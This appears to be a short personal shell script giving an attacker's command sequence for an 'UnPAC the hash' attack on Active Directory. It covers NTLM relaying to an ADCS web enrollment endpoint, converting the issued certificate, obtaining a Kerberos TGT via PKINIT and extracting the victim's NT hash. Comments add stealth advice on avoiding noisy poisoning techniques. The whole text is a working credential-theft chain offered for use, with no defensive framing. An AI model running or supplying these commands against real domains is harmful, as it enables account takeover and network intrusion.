Command sequence I use for UnPAC the hash attacks with ADCS relaying

unpac-adcs.sh

# setting up the relay. I avoid LLMNR/NBNS/DHCPv6/etc, as they're too noisy, and prefer either UNC path injection
# (somewhere custom), or NTLM hash farming
python3 ./ntlmrelayx.py -t http://ca1.contoso.com/certsrv/certfnsh.asp --adcs -smb2support

# ntlmrelayx ADCS outputs an unencrypted .pfx 
cat lowpriv.b64 | base64 --decode > lowpriv.pfx

# dirkjanm PKINITTools, had to patch impacket previously to output AES session keys 
python3 gettgtpkinit.py contoso.com/lowpriv -cert-pfx lowpriv.pfx lowpriv.ccache -v

export KRB5CCNAME=lowpriv.ccache
# decrypting the PAC blob
python3 getnthash.py contoso.com/lowpriv -key <key>